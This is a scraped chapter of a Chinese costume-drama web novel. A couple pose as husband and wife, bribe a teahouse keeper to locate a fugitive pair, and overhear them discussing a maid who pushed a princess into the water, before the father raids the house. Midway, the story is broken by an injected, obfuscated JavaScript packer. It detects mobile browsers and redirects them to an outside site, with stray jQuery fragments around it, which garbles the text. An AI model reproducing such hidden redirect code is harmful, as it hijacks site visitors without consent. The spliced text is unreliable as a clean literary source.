温逐月伸手打下裴扬雨的手,愠怒道:“谁是你的夫人?”
裴扬雨拧眉看着茶铺掌柜,“掌柜的,你方才误会了我们,惹得我夫人生气了,若是我哄不好夫人,掌柜的,那我可就赖在这里不走了。”
茶铺掌柜擦了擦汗又定睛一看,两人大大方方,坦坦荡荡,与平日里偷偷摸摸的有情人不同,想来真是正经拜过堂的夫妻。
“夫人,我老眼昏花眼拙了,还请夫人和郎君不要同我计较,这壶茶不要钱,我待会再送铺子里卖得最好的茶果子给你们,当是给夫人和郎君赔礼了。”
温逐月见裴扬雨不解释,大有越描越黑的架势,正要发作时,却见裴扬雨背过身子朝她不断眨了眨眼,无声地说了一句抱歉。
没等温逐月细思他话里的弦外之音,却见裴扬雨笑了笑,“掌柜的,我夫人是世上最通情达理之人,怎会真的生气呢?掌柜的诚意摆在面前,我们也不是得理不饶人之人。”
“有件事,还想同掌柜打听一下。”
茶铺掌柜见他们不再追究,转了话锋,自是满口应承:“郎君但问无妨。”
裴扬雨道:“我夫人有个表妹,前日跟着情郎私奔了,有人告诉我们,他们两日前在南巷出现过,我们便想来问问他们的去向。”
裴扬雨又向温逐月使了个眼色,温逐月抿了抿嘴,抽出帕子擦了擦眼角,哭道:“我表妹可是个好孩子,若非不是被撺掇了,是绝对干不出私奔之事的。若是掌柜肯告知消息,或许能及时止损,让我把表妹带回去,掌柜也算是做了一件功德。”
茶铺掌柜顿了顿,似是在细思:“不知夫人的表妹和她的情郎是长什么模样,前两日南巷有三四户租出去了,我也不知哪两个是夫人要找的人。”
原本便是帮着裴扬雨扯谎的温逐月被问倒了,斜眼瞥向邻座的人。
裴扬雨立即接话:“他们是两日前的夜里来的,男的约摸二十岁,容貌清隽,身形瘦削,女子约摸是十六七岁的样子。”
裴扬雨只能大概形容出顾云词的长相,对于他那位远方表妹的样子,是一概不知,只能一笔带过说了大概的年纪。
茶铺掌柜道:“好像是有这么两个人,他们那日是夜里来的,还花钱托我去找张婆子租赁房子。”
裴扬雨追问道:“那他们如今住在何处?”
茶铺掌柜讪笑道:“郎君,你也知道这道上的规矩,收钱办事,即便那位娘子是你们的表妹,我也不敢违背良心,出卖了别人不是?”
茶铺掌柜明显是想两头通吃获利,可眼下只有他这一个突破口,裴扬雨没办法,只好让步。
他扬了扬下巴,示意竹声付钱。
看见竹声将一大块碎银递过来后,茶铺掌柜喜笑颜开,掂了又掂,满意得不得了。
“郎君和夫人既然是这位娘子的长辈,合该是好好管教的,他们二人就在南巷往里走的第十二户人家,门上贴着尉迟恭和关羽的画像,顶上有两盏灯笼,但夜里也不点灯。”
裴扬雨又问:“那他们住的那套屋子旁边可还空着?”
茶铺掌柜明白他的意思,点点头道:“我听张婆子说,他们屋子的房子还未租出去,这屋子平日张婆子都有打扫,即刻便可入住安置,若是郎君诚心要住,我可以让张婆子便宜一些赁出去。”
竹声又掏出一小包碎银给他,掌柜笑嘻嘻接过碎银,眼睛眯成一条缝,立即吩咐茶铺打杂的伙计去替他将事情办周全。
收了钱,果然好办事,不到一刻钟,伙计便已经将一串钥匙交给他们,掌柜又命他好生将他们一行人送到屋子里安置。
一入屋门,兰影先行将屋子的油灯点起,竹声将伙计送出去又将大门紧紧锁好。
院落只有裴扬雨和温逐月无言相对,沉默半晌,裴扬雨的目光幽幽落在温逐月的眉间,问道:“不知温娘子来寻我要同我说什么?”
温逐月极不自然地翻了翻双手的帕子,垂头道:“我忽然想起,今日公主落水之时,我好像看到了一个袖口绣着竹叶的女使在落水一瞬,袖子摆动得有些厉害,我疑心,会不会是她将公主推下水去的?”
裴扬雨即刻又唤来兰影,问道:“今日审问时,你也在场,那些女使里,可有袖口绣着竹叶的?”
兰影忙从袖里掏出一本小册子,信手翻了几页,点头道:“是,主君。公主府里不同品阶的女使,袖口花纹都不一样,那几名女使里,只有春露的衣裳袖口绣着竹叶。”
裴扬雨道:“看来下手的人是她没错了,你们现下翻到顶上去,探探隔壁的情形如何。”
竹声和兰影领命后,瞬间便飞身跃上高墙,趴在顶上了。
隔壁院子一片漆黑,唯有屋内燃着烛光,窗上隐隐约约可见映着一对男女的影子。
竹声和兰影轻声翻下去,悄然无声地靠近那扇窗,那一双人影在眼前也越来越清晰了。
屋里好像传来女子的抽噎声,还夹杂着一道安慰的男声。
“表兄,怎么办?春露为了我们竟做了这样的祸事,若是公主和陛下追究起来,瑛儿的性命怕是不保了,表兄,我还不想死。”
哭声过后,那女子便将头倚靠在另一旁不算宽厚的肩膀。
男子适时拥住她,轻声安慰道:“瑛儿莫怕,表兄一定会护你周全,春露忠心耿耿,她的母亲还在我顾家,定然不会轻易出卖你。况且你早就已经避开了,根本没有指使春露去做此事的时间,不怕不怕。一时半会,他们也查不出什么。何况,我们避开众人耳目,搬到南巷来,他们想找我们也要费上一番功夫。”
“我身边的小厮方才不是还传话来,说公主的性命无碍吗?既然公主无事,想来此事不会闹大,更何况,当今的太后是我嫡亲的姨母,为了撮合我与公主,费尽了心力,必然会轻轻揭过此事,顶多到时威逼春露,让她承认了自己的罪行。公主府内规矩颇多,她在府内服侍公主,或许因为小事对公主心怀不满许久了,她想来早就有害公主之心了。”
女子的哭声断断续续的,双臂柔弱无骨环着男子的脖颈,“表兄,但我还是害怕,我们这么一走,怕是要给顾家惹来麻烦。”
顾云词拍拍她的肩膀,“瑛儿别怕,有我姨母在,陛下怪罪不到顾家,更何况他们还没有什么证据,岂能乱动顾家的人,等这几天风头过去了,我就回家看看,若是无事,我再将你接回府去。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970128|181261||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
女子埋在顾云词肩上,无言点点头。
“好了,时辰不早了,你该睡了。”顾云词将她扶到榻上,替她掖好被子后转身就要走。
“表兄别走,我害怕。”女子伸手牵住顾云词的手,伸手向前拉时,双肩的薄衫滑落大半,露出胸前的一片雪白。
女子顺势将薄衫尽数拉下,青丝尽泻,双目通红,看上去好不可怜。
顾云词瞬间一颤,脸红得发热,转头避开,“表妹,你……”
女子见他不动了,变得更为大胆,双手一搂,整个人便贴到顾云词的后背。
“表兄,瑛儿唯有你一个人了。主母要将亲事作罢,将我赶回去,幸好得表兄照拂,我才得以逃脱回那荒凉之地,没有表兄,我不知如何存活,瑛儿没有别的可以报答表兄,希望能一解表兄的苦闷烦恼。”
说罢,女子伸指轻轻将顾云词的头转过来,更为果敢地印上他的双唇。
顾云词被吻得心猿意马,再也没了顾虑,转身便搂住她。吻到深处时,已然忘了分寸,任凭女子将他的衣衫尽数褪去。
很快,屋内的灯被吹熄了,屋内独剩浓重的喘息声。
饶是窥听到许多机密要事的竹声和兰影看见此景,也不由得立刻别过脸去,脸色不由得变得通红。
屋内情迷意乱之时,门外忽然传来急促的敲门声。
门外砰砰猛敲了几下,却始终不见有人应答。
见屋内没有应答,门内又传来急促的咚咚撞门声。
一下两下,门板似乎被撞得有些松动。
竹声和兰影听见撞门声,立刻翻墙回到隔壁的院子里。
透过门隙往外看的裴扬雨听见动静,即刻转身走过来,“门外来了一群人,不知是什么来头,你们方才有没有探听到什么?”
兰影为难地给竹声使了个眼色,竹声同样也面露难色。
只见他飞快地瞥了温逐月一眼,又凑过去低声在裴扬雨耳边密语。
裴扬雨面色一惊,不由得愣了愣,“他们居然……”
温逐月见他们三人的脸色都怪怪的,不由得好奇地问:“怎么了,可是出了什么大事?”
没等裴扬雨在心中斟酌好词句,便听得一声轰隆的破门声。
下一刻,一群人密密踏入隔壁的院子,火光照亮了整个院落。
“啊……”
“逆子,你这个逆子,竟做出这样恬不知耻的事情。你们两个都不要脸,我顾家的脸面,真是被你们二人丢尽了。”
“爹,你听我解释,事情不是你想的这样。”
“还有什么好解释的,你们二人如此不检点,衣裳都丢到门外去了,还要我怎么想?”
隔壁的骂声不绝,温逐月贴着墙壁,听得含含糊糊,只听到动怒声,夹杂着断断续续的求饶声,听起来,倒是有些像捉奸的场面。
裴扬雨要打听的究竟是何方神圣,怎么还能演出这样的场面?
温逐月的柳眉微微压着眼睛,投向裴扬雨的目光也变得有些奇怪。
裴扬雨一把扯过她的衣袖,将她带过来,轻声道:“温娘子,他们那些腌臜破事还是不要听为妙。”